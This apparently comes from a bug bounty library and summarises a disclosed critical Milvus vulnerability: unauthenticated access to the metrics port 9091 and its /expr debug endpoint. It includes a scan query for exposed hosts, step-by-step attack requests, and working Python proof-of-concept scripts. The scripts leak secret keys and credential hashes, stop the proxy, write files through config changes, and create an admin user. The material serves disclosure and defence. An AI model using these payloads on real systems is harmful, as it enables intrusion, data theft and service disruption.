# Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise

Milvus exposes port 9091 with an /expr endpoint guarded by the default etcd.rootPath token and an unauthenticated REST API, leaking secrets and allowing data/user manipulation.

- Payout: Research
- Severity: critical
- Program: Milvus
- Found by: 0x1f, ac0d3r, cookesan
- Disclosed: 2026-02-11
- CVE: CVE-2026-26190
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7ppg-37fh-vcr6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7ppg-37fh-vcr6
- Tags: area:cloud domain:infra impact:data-leak impact:dos impact:privesc kind:research platform:ghsa sev:critical tech:go technique:default-creds vuln:access-control vuln:auth-bypass vuln:info-disclosure vuln:misconfiguration

**Target:** Milvus proxy metrics/management HTTP server on port 9091 (/expr and /api/v1/*)
**Root cause:** Business REST handlers are registered on the metrics HTTP server without auth middleware, and the /expr debug endpoint authenticates with a predictable default token derived from etcd.rootPath (by-dev).
**Steps:**
1. Scan for exposed instances: `http.body="404 page not found" && port="9091"`.
2. Leak MinIO secret: `GET http://<target>:9091/expr?auth=by-dev&code=param.MinioCfg.SecretAccessKey.GetValue()`.
3. Read root credential hash: `code=rootcoord.meta.GetCredential(ctx, 'root')`.
4. DoS proxy: `code=proxy.Stop()`.
5. Arbitrary file write: `param.Save("proxy.accessLog.localPath", "/tmp")`, `param.Save("proxy.accessLog.formatters.base.format", "whoami")`, `param.Save("proxy.accessLog.filename", "evil.sh")`, then `querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")`.
6. Create user unauthenticated: `POST http://<target>:9091/api/v1/credential` with `{"username":"attacker_user","password":"MTIzNDU2Nzg5"}`.
7. List users: `GET /api/v1/credential/users` returns `['root','attacker_user']`.
**How found:** Not stated beyond advisory credit; the exposure pattern `http.body="404 page not found" && port="9091"` was used for internet-wide scanning to gauge real-world exposure.
**Exploitation:** Attacker with network reach to port 9091 uses the default `by-dev` token on /expr to evaluate arbitrary Go expressions, exfiltrating MinIO/etcd secrets and credential hashes, stopping the proxy, or writing files via access-log config; separately calls /api/v1/* unauthenticated to create admin users, reset passwords, and manipulate collections/data.
**Escalation:** Credential hash disclosure plus unauthenticated user creation enables privilege escalation to admin; access-log file write manipulation is a potential path to RCE.
**Insight:** Metrics/management ports often get a separate HTTP mux that skips the auth middleware applied to the main API — check whether business routes are registered on the metrics server, and probe debug endpoints like /expr whose auth defaults to a config value (etcd.rootPath) rather than a secret.

## Proof of concept (copied exactly from the original report)

**Python PoC exploiting /expr endpoint**

```
import requests

url = "http://<target>:9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))

# Denial of Service — stop the proxy
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "proxy.Stop()"
}, timeout=5)

# Arbitrary file write (potential RCE)
for cmd in [
    'param.Save("proxy.accessLog.localPath", "/tmp")',
    'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
    'param.Save("proxy.accessLog.filename", "evil.sh")',
    'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
    requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
```

**Unauthenticated REST API credential creation PoC**

```
import requests

target_url = "http://<target>:9091"

# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
    "username": "attacker_user",
    "password": "MTIzNDU2Nzg5",
})
print(res.json())

# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}
```

